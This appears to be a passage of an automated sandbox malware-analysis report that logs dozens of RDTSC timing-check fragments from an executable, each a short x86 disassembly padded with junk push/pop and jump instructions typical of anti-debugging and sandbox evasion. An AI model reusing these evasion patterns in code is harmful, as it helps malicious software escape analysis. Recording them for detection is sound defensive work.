Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7569 second address: DB7589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jne 00007FD2884F85C6h 0x00000010 jmp 00007FD2884F85CEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7589 second address: DB7599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007FD288CC4A66h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5ED1 second address: DB5F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2884F85CBh 0x00000009 jmp 00007FD2884F85D8h 0x0000000e popad 0x0000000f jmp 00007FD2884F85D7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB621D second address: DB6235 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB64DC second address: DB64E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB64E6 second address: DB64F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD288CC4A66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB64F0 second address: DB64F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB668C second address: DB6691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6691 second address: DB66A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D0h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB66A6 second address: DB66B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD288CC4A66h 0x0000000a jnp 00007FD288CC4A66h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB67F7 second address: DB680B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD2884F85C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB69CE second address: DB69D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB69D6 second address: DB69E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD2884F85C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB69E2 second address: DB69E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE64E second address: DBE661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FD2884F85CDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE661 second address: DBE682 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FD288CC4A72h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEA75 second address: DBEA7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEA7F second address: DBEA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEE06 second address: DBEE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEE0A second address: DBEE0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEE0E second address: DBEE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD2884F85C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEE1A second address: DBEE1F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF138 second address: DBF161 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D7h 0x00000007 jo 00007FD2884F85C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007FD2884F85C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF161 second address: DBF165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF165 second address: DBF173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF48E second address: DBF492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF492 second address: DBF4AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85CBh 0x00000007 jo 00007FD2884F85C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF4AC second address: DBF4CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jo 00007FD288CC4A66h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007FD288CC4A66h 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFC98 second address: DBFC9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3696 second address: DC36A5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jl 00007FD288CC4A66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC36A5 second address: DC36AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC36AA second address: DC36B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC36B0 second address: DC36B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3C51 second address: DC3C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007FD288CC4A6Eh 0x0000000b jmp 00007FD288CC4A70h 0x00000010 push ebx 0x00000011 jo 00007FD288CC4A66h 0x00000017 push edi 0x00000018 pop edi 0x00000019 pop ebx 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3C88 second address: DC3C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD2884F85C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8F22 second address: DC8F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEF9A second address: DCEFB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2884F85CEh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF402 second address: DCF414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD288CC4A6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF566 second address: DCF58E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2884F85CCh 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007FD2884F85D1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF58E second address: DCF592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF6F6 second address: DCF700 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD2884F85C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF700 second address: DCF70A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF70A second address: DCF71B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FD2884F85C8h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF71B second address: DCF721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF986 second address: DCF98A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF98A second address: DCF9AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD288CC4A77h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF9AB second address: DCF9B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4A40 second address: DD4A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007FD288CC4A6Ch 0x00000011 popad 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4A61 second address: DD4A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4A67 second address: DD4A8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FD288CC4A80h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4A8C second address: DD4AAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FD2884F85C6h 0x0000000a jmp 00007FD2884F85D4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9565 second address: DD9569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9569 second address: DD9575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD2884F85C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9575 second address: DD958C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD288CC4A6Ch 0x00000008 push ecx 0x00000009 jnc 00007FD288CC4A66h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD90B1 second address: DD90C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD2884F85CAh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD921C second address: DD923B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD288CC4A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FD288CC4A70h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD923B second address: DD924A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FD2884F85C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD924A second address: DD9254 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9254 second address: DD9258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE67B7 second address: DE67E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FD288CC4A66h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jo 00007FD288CC4A7Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE63D8 second address: DE63DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE63DE second address: DE63E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE63E2 second address: DE63F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD2884F85C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE63F2 second address: DE63F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE63F6 second address: DE641D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD2884F85C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jne 00007FD2884F85D7h 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEAB68 second address: DEAB7C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD288CC4A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c je 00007FD288CC4A6Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEAB7C second address: DEABA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FD2884F85CCh 0x0000000b jmp 00007FD2884F85D8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEABA6 second address: DEABAC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0E8E second address: DF0E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0E94 second address: DF0EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jg 00007FD288CC4A66h 0x0000000b jmp 00007FD288CC4A6Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00070 second address: E0008E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD2884F85D0h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0008E second address: E000AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jns 00007FD288CC4A78h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E004D2 second address: E004DF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD2884F85C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00F12 second address: E00F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00F19 second address: E00F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03D12 second address: E03D17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03D17 second address: E03D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E235FF second address: E2360B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD288CC4A66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E262FA second address: E262FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BC68 second address: E3BC72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD288CC4A66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BC72 second address: E3BC9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85CDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD2884F85CEh 0x00000010 popad 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F893 second address: E3F899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F899 second address: E3F8AA instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD2884F85C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F8AA second address: E3F8B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F8B0 second address: E3F8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FA56 second address: E3FA5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FCD4 second address: E3FCEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD2884F85D5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FCEE second address: E3FCFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FD288CC4A66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FCFB second address: E3FD05 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD2884F85C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42251 second address: E42273 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD288CC4A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jmp 00007FD288CC4A73h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44FBB second address: E44FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44FBF second address: E44FC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E478D8 second address: E478FA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FD2884F85CDh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jmp 00007FD2884F85CAh 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47C5C second address: E47C92 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD288CC4A6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push edi 0x0000000e mov dword ptr [ebp+1246E304h], eax 0x00000014 pop edx 0x00000015 push 00000004h 0x00000017 and edx, dword ptr [ebp+122D1EB4h] 0x0000001d push 35B5F192h 0x00000022 push eax 0x00000023 push edx 0x00000024 je 00007FD288CC4A6Ch 0x0000002a je 00007FD288CC4A66h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47F22 second address: E47F28 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390ECA second address: 5390EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD288CC4A70h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390EDE second address: 5390EE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390EE2 second address: 5390F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD288CC4A73h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390F00 second address: 5390F07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
